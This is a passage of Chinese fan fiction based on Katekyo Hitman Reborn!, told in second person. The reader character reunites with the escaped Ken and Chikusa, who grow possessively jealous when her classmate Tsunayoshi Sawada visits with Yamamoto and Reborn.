“春也。”城岛犬几乎要你负距离接触,温热的吐息黏腻地在你耳边响起,他的手缓缓从你腰际移到小腹,逐渐温热的掌心牢牢贴住你脆弱的部位,城岛犬咬上你近在眼前的耳朵。 “春也,我好难受。” 在示弱这方面,城岛犬无师自通,春也最是对他这副模样无可奈何。 你忍下心脏诡异的律动,勉强站稳,你的大半身子几乎都支撑在城岛犬身上,听到他压抑闷闷的声音,你下意识握住他贴在你腹部的手。 “哪里难受?” 见你询问,城岛犬又说不出话来了。背对着他,你看不到城岛犬的模样,只能听到他一声一声压抑着的喘息。 “大概是关监狱关出毛病了。” 柿本千种终于放过了你的手,他站直身体,将那段经历说得漫不经心。 “我们一直都担心,春也没有我们会……”话到嘴边,柿本千种又古怪咽下,你只能看到他嘴角扬起怪异的弧度,“……真好,春也一个人也可以把自己照顾得很好。” “但是,好奇怪。”城岛犬的手指又上移了一寸,他认真感知着你过快的心跳,眼里透着古怪的愉悦,“为什么在知道春也一个人也能好好生活,心情会这么奇怪呢。” “不是的。”你抓住柿本千种的手,“只有大家在一起,我才是完整的。” “我一直一直一直都在思念着犬、千种和骸骸啊。” “所以,不要再离开我了。” 你认真注视着他们,隐隐地,你有一股预感,你放出了一直关押在黑暗里的、永远填不满欲望的野兽。但你还是说出了那句话: “感到奇怪的话,就永远陪着我,不要再让我一个人生活。” 你张开双手,以完全的包容姿态,你任由犬和千种牢牢将你桎梏。 “因为,我们是家人啊……” 第89章 城岛犬和柿本千种在你的安抚下情绪逐渐稳定, 只不过大约是离开太久,两个人很没有安全感,需要一直一直看着你才能稳定下来, 哪怕是你洗澡, 犬和千种也会搬个小板凳坐在门前乖巧等你出来。 换上干净的睡裙, 你一开门就看到两尊门神守在外边, 抬手摸了摸两个毛茸茸的脑袋,你凑到他们耳侧嗅了嗅:“犬, 千种, 你们是不是要洗个澡?” 城岛犬像踩到尾巴般抗议:“我们回来的途中早就洗过了!” 柿本千种推了推眼镜,平静拆穿了犬的润色:“距离犬上一次洗澡已经隔了一个星期。跳到河里可不算洗澡。” 眼见城岛犬还想再说些什么, 你竖起手指虚虚触碰着他的嘴巴,“不可以哦,不洗澡的话犬今天就一个人睡吧。” 城岛犬立马把所有的话憋回嘴里,他烦躁地抓了抓头发,拿过干净的毛巾和衣服, 城岛犬骂骂咧咧进了浴室。随后,柿本千种也跟着进去了。 脆弱的玻璃无法恶隔绝两个人的打闹声, 你没听一会就转身离去。床上都是玩偶, 犬和千种根本没地方睡。 叉腰站在床前,你静静看了那些玩偶很久很久。 犬和千种回来了,你也就不需要那些玩偶陪伴你入睡了,但这么多年下来,你对它们也有了感情。你挑挑拣拣了半天,只留下来骸骸、犬和千种的大型圆滚滚和动拟形象的毛绒玩偶,把它们整齐摆放在你床头,你把剩下的几乎铺满了整张床的玩偶纷纷放入沙发和吊椅摆放好, 确认床上空出的位置足够你们三个人躺后,你这才满意收手。 夏天还未过去,夜间气温依旧高得吓人,你拿起遥控器按下空调开关,不一会儿,阴凉的冷气让你毛孔都舒爽开来,钻进刚晒过的被子里,你嗅着太阳公公的味道,愉悦在里面打了个滚。 “哗啦——” 这是磨砂玻璃门打开的声音,犬光着脚踩在木地板直直朝你走了过来,脑袋还有些潮湿,城岛犬不自在地甩了甩脑袋,几滴冰凉的水珠甩落到你身上,你立马惊叫:“犬——!!!你这个笨蛋!!” “哈?” “头发不干不要乱甩!你看,都溅到我身上了!!” 城岛犬委屈:“本大爷已经擦得很干净了。” “用吹风机啊!” “那玩意太吵人了,我不喜欢。” ……很好,犬果然还是那个犬,一点都没变。你气冲冲地从床上起来,“千种!” 乖乖拿起吹风机准备吹干头发的柿本千种扭头看你:“我有在使用吹风机。” 他才不想给犬那家伙吹头发。 无奈,你只好自己上手。好在家里吹风机不止一个,你站在吊椅前朝城岛犬招了招手,后者不太情愿地走了过来。 “坐下!” 城岛犬撇了撇嘴,但还是乖乖在你面前坐好。 上手的一瞬间,你猛然发现,城岛犬的头发长长了好多。潮湿的金色发丝耷拉在他脑袋,你单手捋起,湿润的金色乖巧笼在你掌心,你恍惚了一瞬。 “犬长高了好多。” 哪怕只是坐在吊椅上,他的身量也几乎要和你齐平,热风吹动起他的金发,潮湿的指尖转瞬干燥,复又湿润,你捻起他略有些分叉的发尾。这些年,犬不光高了,也瘦了。 “是羡慕本大爷的身高吗?”城岛犬眯起眼睛,热风吹得他昏昏欲睡,捏起后背的玩偶放在旁边,他懒洋洋往后一靠,“本大爷可还能再长呢。” 虽然对身高没什么执念,但城岛犬还是希望自己能再长得高一些、强壮一些,这样不管他到几岁,都能轻轻松松抱起你。当然,这种无关紧要的小事城岛犬才不会和你说。 你轻哼一声没有说话,确认头发吹到半干,眼神一转,你拿出护发精油,“犬的头发都分叉了呢,我来给你好好护理一下。” “当然,千种也需要。”眼一横,你看向想要偷溜的柿本千种,“不要想着逃跑哦。” 柿本千种悬着的心死了,无奈叹气,他默默走出去给你们准备宵夜。 “我去做点吃的。” 城岛犬大爷似的点餐:“本大爷要吃巧克力饺子!” “这是什么搭配?!”你大惊,“不要随随便便搭配奇怪的组合啊!” 城岛犬不理,他跃跃欲试:“听说这个很好吃,本大爷可要尝尝咸淡!”说着,他还扭头无辜看你:“这不是你们那的特产吗?” 你:? 你:“当然不是啊!!” 眼看你们吵得不可开交,柿本千种意识到自己是得不到答案,他才不想参与这场莫名的争斗,柿本千种决定冰箱里有什么就做什么。 等到柿本千种端上热腾腾的意大利芝士肉酱面和鹅肝黑松露炒饭后,你已经把城岛犬搭理完毕。 “好浓的味道。”城岛犬嗅觉灵敏,他清晰嗅到自己头发上的香气和你身上的是一个味道,这个认知让他嘴角翘起,城岛犬也就不嫌弃香到快要他窒息的精油味了。 甩了甩脑袋,城岛犬嗅到了饭香味,他眼睛一亮,立马窜了出去:“好香!” 吸溜一声,城岛犬擦拭着自己快要滴落的口水,天知道他有多久没能吃到像样的食物了。 柿本千种:“做了很多,完全够我们三个人吃。” 你绕到柿本千种身后,手指捻起他蓝黑色的发丝,你低头观察,尽管只有一瞬间,但你还是感受到了刚刚千种微微僵硬的身体。 “紧张吗?” 柿本千种下意识想要推眼镜,直到手指推到空气他才意识到自己洗完澡出来后把眼镜搁置在了浴室里,柿本千种微微偏过脑袋,原本柔顺服帖的半长发缓缓从你掌心抽离,只留下一道淡淡的水痕。 “没有。” 嗓音带着干涩,柿本千种努力维持声音的平静。 你静静等待一会,忽然,你笑了,慢悠悠拖长尾音,你凑到他耳边小声说道:“那我开始了。” 柿本千种的心一下提到了半空,诡异的紧张感牢牢拽着他的心脏,柿本千种无法控制自己古怪的生理反应,他只好用叉子一圈一圈搅起面条来缓解自己突如其来的紧张感。 “啵~” 这是你打开精油的声音。 “滋~” 这是你在掌心抹开精油的声音。 柿本千种一点一滴在脑海里绘制你涂抹精油的步骤,很快,头皮处传来一阵轻柔的按摩,你的手指正沿着他的发缝慢慢往发尾开始涂抹精油,浅淡的桂花味萦绕在鼻尖,柿本千种忽忍不住开始想象,你给自己涂抹精油的时候是不是也是现在这个场景。 “千种的头发和犬一样,也长长很多了呢。” “嗯,有剪发的打算。”柿本千种还是习惯自己短发的样子。 城岛犬仰头吸溜起一口面条,努力嚼嚼嚼,他含糊不清地说:“过两天吧,到时候我和小千可以给春也剪发。” 因为过去的经历,城岛犬和柿本千种并不能对陌生人托付信任,尤其是剪发这种需要把致命弱点交给外人的做法,所以他们一般都是自己剪发,偶尔也会互相帮忙。 给柿本千种涂抹完精油后又稍微吹了遍头发,你突发奇想:“我来!我可以给你们剪个完美的造型。” 城岛犬和柿本千种对视一眼,城岛犬抻长脖子努力把食物咽下去,他眼睛一挑,挑衅道:“春也可别把我们剪成扫把头啊。” 收拾好东西,你双腿盘坐在地毯,听到城岛犬的话,你冷笑:“那你剪不剪?” 城岛犬倒是想硬气说不剪,但是…… “剪。” 他扒拉了口饭,闷声闷气地回答。 “那就明天吧,今天已经很晚了。”你看了眼时间,都快到凌晨三点了。按照过去,这个时间点你早就熟睡了。 吃完饭,城岛犬自觉收拾好碗筷,你刷完牙安心躺在床上,不一会儿,床的两侧微微凹陷,城岛犬和柿本千种一左一右躺在你旁边,你有些困倦地打了个哈欠,眼睛都快睁不开了,但脑子却异常清醒。 “犬和千种穿的好像不是并盛的校服啊。” 柿本千种卷入被子,自然往你身旁蹭了蹭,直到手臂贴上你的手臂,他这才安静下来。 “是黑曜校服,骸大人更喜欢这件款式。” 黑曜学校的存在感没有并盛高,要是六道骸早知道黑曜校服是这个款式,说不定就会让你去黑曜就读了,不过并盛的安全浓度更高些,黑曜可没有麻雀领导的委员会。 “骸骸怎么没出现?” 城岛犬:“骸大人说他会比我们晚些时候出来。” 提到骸大人,柿本千种突然想起一件很重要的事。 “骸大人知道了彭格列十代目继承者的下落。” “彭格列十代目继承者?”你对这个名称很陌生。 见你一头雾水,柿本千种开始科普:“彭格列是目前最庞大的黑手党家族,据说彭格列的九代目正在挑选继承人。” 城岛犬冷笑:“只是可惜黑手党作恶多端,继承者有一个死一个,到现在,十代目继承者已经死得只剩下一个了。” “嘁,算那小子命大。” 柿本千种不轻不重捏了下你的手:“春也还记得我们最开始的目的吗?” “我当然记得,我们要摧毁世界上所有的黑手党!” “现在,我们的机会来了。”柿本千种眸色幽深,“等到骸大人夺取了彭格列十代目的身体,我们就可以从庞然大物彭格列开始,一一摧毁所有的黑手党。” 听上去很不错,你眨了下眼,但总觉得,这个计划不会那么容易成功。你忧心忡忡地看向犬和千种:“能够从所有继承者厮杀中存活下来的人,一定很不简单。” “这一次,我要和你们一起行动。” 你用力握紧犬和千种的手:“绝对不可以再把我抛下!” 城岛犬翘起嘴角,锐利的金瞳牢牢盯着你不放:“当然,你以为你能轻松睡大觉吗?骸大人可是说了,这一次是我们的集体行动!” 柿本千种:“听说对方在并盛中学。” “已经知道他是谁了吗?” “差不多。”你听到柿本千种应声,而后城岛犬漫不经心的声音在你耳侧响起,“就在你的班上,春也。” “好像是叫什么本田…山吉?” 柿本千种无奈纠正:“是沢田纲吉,犬又记错名字了。” 困意瞬间跑走,你险些掩饰不住脸上的震惊:“沢…田……纲吉?” 那个走路还是会偶尔的平地摔、笑容天真纯良、考试在你的拉扯排名总算不再是倒数、连拒绝人都做不到的沢田纲吉? 柿本千种敏锐意识到不对劲,他抬眼静静看你,明明是疑问句,却偏生被他说出了肯定句:“春也,认识他。” 你沉默,一时不知道该怎么说。 你认识的沢田纲吉绝对不是那种无恶不作的邪恶黑手党,甚至,你都没有听他提起过彭格列的事情,而且,无论是沢田奈奈还是沢田纲吉,你都看不出他们身上有任何黑手党的标志。 是他们太会伪装,还是犬和千种调查错误?不,不可能是犬和千种的调查错误,沢田纲吉绝对是彭格列第十代继承人,但你也不太相信沢田纲吉能在你眼皮底下兢兢业业伪装了那么多年。 城岛犬开始磨牙,尖锐的犬牙在昏暗的夜灯下泛起森森冷光,城岛犬翻了个身面对着你,温热的手指不轻不重搭在你的锁骨间,变声期间的嗓音沙哑低沉,城岛犬声音不大,响在寂静的夜间,莫名显出几分阴冷。 “看来春也在我们不在的时候,交了新的朋友啊。” 柿本千种语调一如既往的无波澜,但他望向你的眼神却像是能将你溺毙在里面,他语调悠悠,不紧不慢说道:“是我们提到的那个彭格列第十代——沢田纲吉吗。” 说着,他还笑了下,轻而快的笑声转瞬即逝,你险些以为自己听到的是错觉。 “怎么,春也是不相信你认识的朋友居然是个黑手党吗。” 说到最后,你隐约觉得柿本千种的语调有几分怪异,像是极力克制着什么,柿本千种拽紧你的手腕。 城岛犬&柿本千种:“春也有了新的朋友,是产生了不该有的想法了吗。” 幽黑到令人厌恶的监狱里,除了大家心中有共同的目标支撑着他们活下去,还有你啊,春也。 没了他们,他们任性的、美丽的、惹人怜爱的春也该怎么办呢?约定好了要一起走下去,约定好了要永远在一起,怎么可以就这样放手把你抛下呢?! 不可能不可能不可能不可能不可能! 就算是坠入地狱,也要爬上来和你见面! 空调的冷气散不开被窝里的温度,手指忍不住蜷缩起来,你仿若再也无法忍受般偏过脑袋,这一举动彻彻底底刺激了刚从逃狱出来的犬和千种的神经。 “春也是不喜欢我们了吗?” 柿本千种低着声音,幽蓝的眼睛直直和你对视,他抬手掐住你的下巴不允许你逃离他的视线,柿本千种近乎病态地满足你眼里满满当当全是他的倒影。 “不可以呢,春也绝对不可以逃离我们。” “说好了的,我们是一家人啊。”家人,那可是到死都得埋在一起的存在。 “我没有,他们只是我的仆人而已。” 城岛犬眼睛微眯,他声音古怪:“他们?” “仆人什么的,难道不是有我们就足够了吗?” “哈,外边那些人哪有资格碰你!” “唔…不是的,我最喜欢犬和千种了!我从来没有忘记过我们的目的!” 虽然这么说有点残忍,但在你眼里,沢田纲吉和山本武的分量还不足以抵得上犬、千种和骸骸。 城岛犬缓缓松开手,只有柿本千种还紧咬着你不放:“……最喜欢我们?” 他轻笑着,大拇指漫不经心抵在你嘴边:“那就证明看吧。让我看看你的喜欢,到底有多深。” 第90章 春也已经三天没来上学了。 沢田纲吉扭头看向空荡荡的座位, 他担忧地抿紧嘴巴,就算是请假,春也也从未请过这么长的假期。 “怎么?在担心你的同桌?” 桌洞里缓缓升起一块隔板, 一道稚嫩的童音从底下传来, 沢田纲吉一惊, 他立马做贼心虚地拿书本挡住课桌。 “里包恩!你怎么来了?!” 里包恩故作可爱地歪头:“担心的话, 那就直接去探望好了。” 沢田纲吉泄气般趴在桌子上,“可是春也是和家人聚在一起吧, 就这样去打扰会不会不太好?” 在你没来上课的第一天, 沢田纲吉就悄悄翘课去你家附近转悠了,虽然望远镜的作用聊胜于无, 但还算清晰的镜头还是让沢田纲吉看到了,出现在你家的两道陌生人影。 大白天,白纱窗帘还未完全拉起,只有当风经过时才偶尔掀动一角,沢田纲吉勉强能窥见一点你家的风景。 这些年, 他去过你家无数次,沢田纲吉早就清楚记下了你家里的摆设, 所以, 当看到沙发多出几个本该在你卧室的玩偶时,沢田纲吉敏锐察觉到了不对劲,直到那两道陌生的人影轻飘飘印在窗帘,沢田纲吉才意识到大概是你的家人回来了。 ……但是,那两个人真的是你的家人吗? 疑惑短暂在心底一闪而过,沉默留下一道不深不浅的痕迹,沢田纲吉无意识咬着笔杆,如果是难得的家庭团聚, 他确实不该在这个时候打扰你,可他又确实很在意自己无意窥见的那两道人影。 瘦削年轻的背影,但从浅显的影子看,沢田纲吉很难相信那是你的父亲,难道是哥哥之类的身份?可是他们和你的距离会不会过于亲密些?正常兄妹姐弟之间举止都会这么亲昵吗? 沢田纲吉没有兄弟姐妹,他也无法想象拥有兄弟姐妹的家庭是如何相处的,但是…… “嘶嗷!好痛!!”沢田纲吉忽然捂住脑袋,他不满地看向里包恩,“你干嘛又打我?!” 里包恩深深看了眼沢田纲吉,想到他刚刚愈发深沉阴暗的表情,里包恩在心底默默叹了口气,九代目当初也没跟他说他看好的十代目继承人现在长成变态了啊。 任务又重了啊,里包恩面无表情看了眼自己看好的守护者山本武,又看了眼还在嘟囔抱怨的沢田纲吉,除开考察训练彭格列十代目,挑选守护者,他还得考察你的品格。 ——毕竟,他可不能容许自己的任务出现丝毫差错。 下课—— 山本武来到沢田纲吉旁边,中学分班后他们三个就一直呆在同个班,感情无形之中又增进了不少。显然,山本武也注意到了春也的异常,山本武刚想和沢田纲吉打招呼,低头就看到了里包恩。 眼珠微动,他笑容天然:“哈哈哈这是阿纲家的弟弟吗,很可爱啊。” 里包恩站直身体,手指捏着帽檐往上抬了抬,他礼貌地介绍了下自己:“我是蠢纲的家庭教师——里包恩。” “你好啊,我是山本武,阿纲的朋友。”山本武弯腰和里包恩打招呼,他笑容灿烂,“没想到阿纲居然还找了位家庭教师啊,好认真。” “才不是呢!我才没有承认!”沢田纲吉连连摆手,里包恩在旁边慢悠悠补充:“不光是家庭教师,我还是一名杀手哦。” “诶,杀手?” 山本武惊讶重复了遍,他眸光微动,也不知是信了还是没信。 “呃哈哈哈哈不是的啦…是…是角色扮演!”沢田纲吉绞尽脑汁,“这家伙喜欢玩角色扮演哈哈哈,他完全沉浸在自己是杀手的新身份中……嗷!” 沢田纲吉脸朝地趴到在地,里包恩优雅收回自己踹出去的脚:“真是失礼呢,蠢纲。” 沢田纲吉惨兮兮仰头大喊:“你以为这都是因为谁啊!!” 里包恩踢人的速度太快,山本武完全跟不上他的动作,伸出的手落在半空,愣了半秒,他自然蹲下身扶起沢田纲吉,“对了,阿纲有没有发现最近春也都没来上学啊。” 里包恩若有所思地盯了山本武几秒,他轻巧跳上山本武的肩膀坐好,列恩也乖乖呆在他的肩膀伪装玩偶,“我们刚刚就是在说这件事呢。” “阿纲打算去春也家探望。” 伴着沢田纲吉兔子叫的背景音,山本武摸了摸下巴,“我也有这个想法,那就这么说定了,放学后我们一起去春也家。” 沢田纲吉无望看着山本武离去的背景,他喃喃道:“我还没想好呢。” 但不可否认,沢田纲吉心里的想法和山本武一致。 “唔,买点什么好呢?”重新坐回椅子,沢田纲吉陷入了深思,忽然,他想起了自己每次去你家时都能看到精致美丽的鲜花,“要不干脆就送百合吧,便宜又好看。” 正好在他的预算之内。 确认了会去你家,沢田纲吉整个人又奇异的放松下来。他扭头看向还没走的里包恩:“等会到了春也家,里包恩可千万不要在说那些话啦!我一点也不想当什么黑手党!!” 里包恩眨了下眼,漆黑的瞳孔倒映着沢田纲吉甜蜜又纠结的心情,他漫不经心摸了下列恩,没有说话。 你还不知道自己没去学校引起了沢田纲吉和山本武的注意,考虑到犬和千种好不容易恢复自由,你特意向学校请了个长假,之后的时光你都是和犬、千种呆在一起的。 “啊——也不知道骸大人什么时候出来。” 城岛犬四仰八叉地躺在沙发,嘴里咔擦咔擦个不停,他一遍吃着薯片一边看着电视,骸大人最近也没给他们布置什么任务,清闲下来后,城岛犬又恢复了以往和你呆在一起的日常。 “不要在沙发上吃东西,犬。”柿本千种瞥了眼把残渣吃得到处都是的城岛犬,柿本千种很有先见之明地和你呆在吊椅上。 脑袋搁在你肩膀,柿本千种满足地抱着你,泛着凉意的指尖覆在你的小腹,他轻轻揉捏着你小肚子上的软肉。 “春也中午想吃什么?” 偏过脑袋,他小声和你说着话,温热的吐息烫的你耳朵有些痒,你下意识缩了缩脖子。 “吃点素的吧,西兰花酸梅汤之类的都可以。” 夏天的燥热总会降低人的食欲,你也是苦夏的一员。 城岛犬余光瞥到了你和千种亲亲密密的一幕,他低头盯了自己手里的零食几秒,仰头唰唰唰把零食都倒入嘴巴,城岛犬嚼吧嚼吧薯片咽了下去,简单清理完沙发上的碎屑,他拿着剩余的零食袋子走到你们面前。 “小千过去点啦!” “先要做沙发的人可是你自己。” 话是这么说,但柿本千种还是努力往旁边挪了挪。过了会儿,才安静没多久的城岛犬又说话了:“春也往这边来点,这么热的天,窝在小千怀里很热的。” 柿本千种没什么情绪地瞥了眼城岛犬,抬眼慢吞吞看了下打开的空调,柿本千种懒得戳穿城岛犬的小心思。你裹着薄薄的小毯子靠在千种怀里,认真看着影片,听到城岛犬的话,你摇摇头:“完全不会啊,开着空调呢。” “滋啦——” 城岛犬不说话了,他打开零食包装气闷地吃起来,脑子一直在转,忽然,他眼睛一亮。小心翼翼往你身旁挪了挪,城岛犬毫不见外地挤了过来。手指缓缓探入毛毯,他轻轻勾起你的小拇指。 “这个很好看吗?” 城岛犬对影片的兴趣不大,他更喜欢打游戏。 “投入进去就好看了,我也没看过,不过到目前为止,剧情都还不错。” 你自然握住他的手,察觉到冰凉的温度,你皱起眉头,另一只手又拉起柿本千种的手对比。 “昨天我就想问了,你们现在的体温怎么这么低?” 柿本千种:“复仇者监狱的环境比较特殊,等过段时间就会恢复正常了。” 城岛犬倒是没发现什么不对劲,最多他只是觉得你的体温变高了好多。见你露出担忧的表情,他把手里的脆脆角递到你面前:“吃吗?” 一开始是你抓住了犬和千种的手,慢慢的演变为他们两个抓住你的手不放,努力抽了下没抽出来,无奈,你只好偏过脑袋用牙齿叼起城岛犬手指上的脆脆角。舌尖不经意舔到犬的指腹,你快速叼住脆脆角逃离,徒留城岛犬盯着自己微微湿润的指尖发愣。 半晌,他伸出舌头舔舐了下指尖残留的碎渣。 ——怪甜的。 咸味零食吃出甜味,城岛犬怀疑自己的味觉出了问题。 “咚咚咚!” 就在城岛犬思考人生时,忽然,有人敲响了大门。 柿本千种敏锐抬眼,“这个时间,会有谁来?” 城岛犬的脑子难得灵光了一次:“该不会是春也认识的‘朋友’吧。” “朋友”两个字眼,城岛犬加重了语气,眼睛里闪烁着不怀好意的光芒,城岛犬嗤笑:“那本大爷可要好好招待他们啊。” “不要破坏骸大人的计划,犬。” 柿本千种保留着理智,昨天你的安抚已经足够,他很确定,在你心里,他和犬、骸大人才是最重要的。大拇指轻轻抹掉你嘴角的碎屑,柿本千种自然亲了下你的嘴角:“希望昨晚春也没有欺骗我们。” 你莫名心慌,但面上一本正经:“当然啦,我和沢田只是同学关系。” “诶?!千种怎么又偷亲!”城岛犬立马忘记了有人敲门的事,他当即凑了过来:“本大爷也要!” 仅存的理智告诉你似乎有哪里不对劲,但看着城岛犬一脸你厚此薄彼的表情,你拽着城岛犬的领口拉下,然后重重咬了口他的嘴唇:“快去开门啦。” 城岛犬“嘶”了声,他摸了摸浅浅的牙痕:“春也下口可真重。” 不过没一会儿,那点牙印子就消失不见了,城岛犬听话地起身去开门。 “春……” 话刚到嘴边就咽了回去,看清开门的人,沢田纲吉的笑容一下凝固在脸上。 “你是谁?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 陌生的人, 陌生的气息,沢田纲吉立马意识到,城岛犬就是他窥视到的你的家人。 沢田纲吉忍不住打量起眼前的陌生同性。金发上还扎着几个小揪, 简约的发卡别在耳侧, 沢田纲吉一眼就认出了那是你曾戴过的款式。无意识捏紧手里的花束, 沢田纲吉忍不住在心里猜测你和他的身份。 面前的人完全就和他差不多大, 而且和你长得一点也不像,脑海里关于你父亲哥哥的猜测完全排除, 沢田纲吉抿了下嘴, 除了家人之外,他完全不想猜测其他可能性。 也就是这个时候, 沢田纲吉再一次发现,他对你的了解实在太少了,沢田纲吉只听你简单提起过一句关于家人的话题。如果他没记错的话,春也一共有三个家人。 ……眼前的男孩就是其中之一吗? “哈哈哈你是春也的亲戚吗?”山本武笑容天然,他的手里还提着一盒寿司, “春也不在家吗?” 听到山本武在说话,沢田纲吉终于回过神, 下意识隐藏心底奇怪的情绪, 沢田纲吉面色正常开口:“我们是春也的朋友。” 这么多年,你的一百个愿望沢田纲吉陆陆续续实现了很多,到现在为止,只剩下三个了,沢田纲吉早就在心里把你当成了他真真正正的朋友。 所以,就算这么说,也是没问题的。沢田纲吉略有些心虚,但只是同学的身份又太过普通。更重要的是, 他在金发男孩的眼里敏锐察觉到了几分不友善。 里包恩静静看着眼前的这一幕没有说话,他若有所思地瞥了眼城岛犬,总感觉这家伙似乎在哪里见到过。 你听到了门外的声音,拍了下柿本千种拦在你腰间的手,你起身走了过去。 “我来啦!” 挤开一直堵门的奇怪犬,你笑容灿烂地和沢田纲吉、山本武打招呼,“阿纲,阿武,你们怎么来了呀。” 目光转动,你看到了坐在山本武肩膀的奇怪小婴儿:“你好……” “ciaos,我是里包恩,蠢纲的家庭教师。”里包恩抬了抬帽檐,举止优雅地和你打了个招呼。只是,看清你脸的那一瞬,里包恩眼眸微动, 真是个危险的女孩。 “家庭教师?”你惊讶,“什么时候的事,我都没听阿纲说起过。” 沢田纲吉解释:“就在春也请假的那天,里包恩突然出现了,我根本就不想做什么……我根本就不想要什么家庭教师啦。” 咽回不该说的话,沢田纲吉苦恼和你抱怨着,很快,他又从这种沮丧的情绪中脱离出来,沢田纲吉把手中盛开鲜艳的百合花递给你,他轻咳一声,莫名有些不敢直视你的眼睛。 “这个是带给春也的礼物,我观察过,春也家里经常会有插花,想着你可能会喜欢鲜花所以买了。”沢田纲吉紧张地解释:“当然,这个钱不算在给春也的零花钱里面的。” 听到这,慢慢走过来的柿本千种终于忍不住开口了。 “给春也的零花钱?” 推了推眼镜,柿本千种语气冷淡,“什么叫给春也的零花钱?” 耐心装了很久好人的城岛犬再也忍不住了,他凶巴巴地拍开沢田纲吉的手,然后站在了你面前,彻彻底底挡住沢田纲吉的视野,“哈,春也才不会接受陌生人的零花钱,你小子以为自己是谁啊!春也可是有家人的!!” 沢田纲吉语气无辜:“可是,我又不是陌生人。” “我跟春也是好朋友啊。” 第92章 场面即将失控前, 你及时出声打断了他们的“友好”交流。 抬手接过沢田纲吉手里的百合,你甚至还可以看到挂在花瓣上的小水珠,鲜亮明媚的百合花不需要任何点缀就已经足够动人, 灿烂的阳光跳跃着在如绸缎般的花瓣上洒下金光, 你轻嗅着百合花的香气, 心情不自觉也变得明媚起来。 “谢谢你, 阿纲,我很喜欢这份礼物!” 你珍重地抱起百合花, 拉过还在那当门神的城岛犬, 你侧过身让沢田纲吉、山本武和里包恩进去。眼见城岛犬还想再说什么,你晃了晃他的手指, “我渴了,犬。” 城岛犬恶声恶气道:“渴了就喝水,看我就能解渴了吗?!” “我不想喝水。” 你眼巴巴盯着城岛犬看,后者在你的注视下耳根越来越红,最后, 像是承受不住你的视线,城岛犬凶巴巴移开视线, “要喝什么?” 你眼睛一亮, “西瓜汽水!” 说着,你歪着身子越过柿本千种往门内看,“阿纲,阿武,里包恩,你们有想喝的饮料吗?” 沢田纲吉和山本武从一开始就听着你们的交谈,见你和他说话,沢田纲吉连忙转身看你。 城岛犬眉头一皱:“喂, 你这家伙该不会想我给他们也买吧。” “诶,不可以吗?”你无辜,“来者是客呀,当然,犬要是不愿意的话那就算了。” 还没等城岛犬舒展眉眼,你的下一句话又让他拧紧眉头,“我自己去。” 城岛犬不耐烦的“啧”了一声,比起他自己动身去买,城岛犬更不能接受你给那群人买饮料,想到你话语中的“客人”字眼,城岛犬忽然又没那么气闷了。 “不用,我去。”慢悠悠拖长音,城岛犬恶劣地笑:“毕竟,他们是客人啊。” 柿本千种也跟着附和:“确实,作为主人,我们不能失礼。” 沢田纲吉和山本武脸上笑容慢慢消失了,绞尽脑汁思考了半天,沢田纲吉发现自己该死的竟还无法反驳。一旁山本武把寿司放在桌子上,他看了眼和你一起站在门口还没过来的城岛犬和柿本千种,山本武略有些苦恼地小声说话:“失策,忘记带饮品了。” 眼眸微动,注意到金发少年微妙变好的心情,山本武眯起眼睛,笑容灿烂道:“麻烦你了,我和春也一样。” 沢田纲吉也跟着举手:“我也和春也一样。” 只有里包恩的选项和在场所有人都不一样:“一杯Espresso咖啡,谢谢。” 城岛犬:嘁,跟风怪。果然是黑手党,心思肮脏! “小千要喝什么?” “哈密瓜味的汽水。” 柿本千种喜欢夏天打开汽水时,里面喷涌而出的哈密瓜清甜的气息,和西瓜很般配。 在心里记下,城岛犬朝你摆摆手,然后往便利店走去。柿本千种静静看着城岛犬离去的背影好一会儿,转过头,他看向里面三个正大光明坐在自己家里的黑手党,柿本千种眼神微暗。 他没预想过会提前与彭格列的人碰面,希望没有打乱骸大人的计划。 转过身,柿本千种低头看你摆弄百合:“我们先进去吧。” “嗯。” 沢田纲吉是黑手党的言论还是影响到了你。 耐心把花束里的百合花一一拆出来,你把它们全都插入到透明花瓶里,然后摆在阳光下。金色的阳光懒洋洋晒着百合舒展的腰肢,玻璃瓶里的水波纹折射上桌面,晃动的金色涟漪美得像一副油画。 沢田纲吉就坐在百合花下,几缕金色光斑照在他脸上,你静静欣赏了一会儿,也不知道看的是花还是人。 “春也最近都没有来学校了。” 安静了一会儿,沢田纲吉看看自然坐在你身旁的柿本千种,又看看突然不和他对视的你,沢田纲吉压下疑惑,他忽然想起今天来找你的目的,心里隐隐有猜测,但沢田纲吉还是忍不住问了出来,“是发生什么事了吗?” 你垂下眼睛:“嗯,千种和犬回来了,我陪着他们。” 沢田纲吉迟疑问道:“犬和千种……是春也的家人吗?” 你肯定点头,“犬和千种是我最重要的家人。” 你的语气太过坚定,沢田纲吉心里说不清是什么滋味,手里无意识抓起一只玩偶,毛茸茸的触感让他一惊,沢田纲吉连忙低头,发现自己抓到的是一只凤梨。 “原来是家人啊。”山本武自然接话,他摸了摸下巴,不经意打量着你们,山本武天然道:“但是看长相,你们不是很像呢,我和阿纲刚才差点误会。” 沢田纲吉也忍不住小声抱怨:“春也都没怎么和我们说过呢。” 你陷入回忆,意外发现自己竟然真的从没和沢田纲吉和山本武具体说过你的事情。家人这一点也不是什么不好说的东西,你简单解释了一嘴:“不是血缘关系的家人,但是我们又比血缘关系更加亲密,如果没有犬、千种和骸骸,我可能也就不是现在的我了。” 最难熬的那段时光,是骸骸、犬和千种一直陪伴着你,你们互相扶持认可,一路走过漫长的黑夜,不过再有比你们更加信赖亲密的关系了。 这么多年生活在一起,你们的灵魂也早就染上了其余三人的气息,那是根本无从割舍的关系。 你不想自揭伤疤,更不想回忆起那段暗无天日的时光,你只简单向沢田纲吉和山本武介绍了下你最重要的家人。 “刚刚买饮料的是城岛犬,这个是柿本千种,还有一位是骸骸,他过段时间会过来。” 说话间,城岛犬也回来了。汽水是最好买的,唯一有难度的是里包恩点的咖啡,城岛犬变身跑了好多路才在一家咖啡店买到。 城岛犬喘着气,装着汽水的购物袋没轻重地放在沙发旁的桌子上,玻璃瓶碰撞的响声吸引了你们全部的注意力。 “我还在路上找到了一个小家伙。” 偏小麦色的手指拎起一只通体漆黑的猫咪,你直接和一张毛茸茸的小猫脸对视上,圆润的金瞳倒映着你的模样,和子无辜叫了一声:“咪呜~” “这家伙现在可真重。”城岛犬的左手还拖着它的屁股,手指还没用力呢就陷入了肉浪里,毛茸茸的猫毛从指缝蹿出,城岛犬把它扔到你怀里,丝毫不见外地捏了捏它肚子上的肉,城岛犬大声嘲笑猪咪:“看,全是肉,春也还怪会养猫的。” “咪嗷!” 